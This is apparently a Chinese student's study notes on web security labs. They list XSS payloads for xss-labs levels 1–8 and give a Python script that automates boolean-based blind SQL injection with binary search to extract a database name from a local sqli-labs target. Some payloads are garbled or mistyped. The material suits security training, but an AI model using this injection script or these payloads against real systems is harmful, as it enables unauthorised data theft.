当前位置: 首页 > news >正文

暑假---作业2

  学习目标:

  • xss-1abs 1-8关
  • python美现自动化布尔自注的2、代码进行优化(二分查找)

学习内容:

1.xss-1abs 1-8关

1

<h2 align="center">欢迎用户test</h2>

2   &lt;script&gt; alert (1)&lt;/script&gt

<center>
<form action="level2.php" method="GET">
<input name="keyword" value="test">
<input type="submit" name="submit" value="搜索">
</form>
</center>

3     <form action-level3.php method=GET>
Kinput name-keyword value='&lt:script&gt:alert(111)&lt:/script&gt:'>

4同理3

5     '<scr_ipt>alert (11)</script>">

6       <a hr_ef=javascript: alert (1)> <"">

7     <a =java:alert(1)> <"">

8

2.python美现自动化布尔自动的代码进行优化(二分查找)

import requests# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"# 要推断的数据库信息(例如:数据库名)
database_name = ""# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推断数据库名的长度def get_database_length():low = 1high = 50  # 保持原有的最大长度限制result = 0while low <= high:mid = (low + high) // 2# 检查长度是否等于midpayload = f"1' AND (SELECT length(database()) = {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return mid# 检查长度是否大于midpayload = f"1' AND (SELECT length(database()) > {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:low = mid + 1else:high = mid - 1return 0# 推断数据库名def get_database_name(length):db_name = ""for i in range(1, length + 1):low = 0high = len(charset) - 1# 二分查找当前位置的字符while low <= high:mid = (low + high) // 2mid_char = charset[mid]# 比较ASCII值判断字符范围payload = f"1' AND ORD(SUBSTRING(database(), {i}, 1)) > ORD('{mid_char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:low = mid + 1else:high = mid - 1# 验证找到的字符if 0 <= low < len(charset):db_name += charset[low]return db_name# 主函数# 如果当前模块是主模块,则执行以下代码
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

学习时间:

学习时间为学习时间

内容为笔记【有时比较抽象,有时比较过于详细,请宽恕。作者可能写的是仅个人笔记,筋肉人future】  


学习产出:

  • 技术笔记 1遍
  • 有错误请指出,作者会及时改正

http://www.dtcms.com/a/282327.html

相关文章:

  • QT技巧之快速搭建串口收发平台
  • Qt中实现文件(文本文件)内容对比
  • Django基础(三)———模板
  • Python设计模式深度解析:装饰器模式(Decorator Pattern)完全指南
  • hadoop 集群问题处理
  • 肠道宏基因组数据分析流程
  • 肠道宏基因组数据分析流程要关注的参数和指标
  • STM32-RTC内部时钟
  • 图像质量评价(Image Quality Assessment,IQA)
  • 【unitrix】 6.1 类型化整数特征(t_int.rs)
  • 深入理解-Java-线程池:原理、动态调整与监控实践
  • 牛市看涨期权的价差策略是什么?
  • mongoDB初始化项目简单操作示例
  • YAML 自动化用例中 GET vs POST 请求的参数写法差异
  • 部分排序算法的Java模拟实现(复习向,非0基础)
  • PostgreSQL数据库集群如何进行自动化性能监测?
  • HTML5》》template
  • (LeetCode 面试经典 150 题) 205. 同构字符串 (哈希表)
  • 针对 Python、Java、Go 的依赖树检测实现方案,包含漏洞扫描和依赖关系分析的核心代码与工具链
  • Chrome紧急更新,谷歌修复正遭活跃利用的关键零日漏洞
  • Java运维之Tomcat升级
  • 【c++深入系列】:万字详解list(附模拟实现的list源码)
  • Android 高通平台修改音频参数效果文件-优化音频效果
  • 如何使用 OpenCV 打开指定摄像头
  • 微服务变更?自动化测试利器Parasoft SOAtest修复快、准、稳!
  • 【微服务】Ocelot微服务网关
  • RL-马尔科夫过程、动态规划
  • 042_封装的实现(属性私有化 / 方法公开)
  • 网络基础10 长途互联--WAN广域网技术
  • fastadmin中ajax弹窗修改文字为英文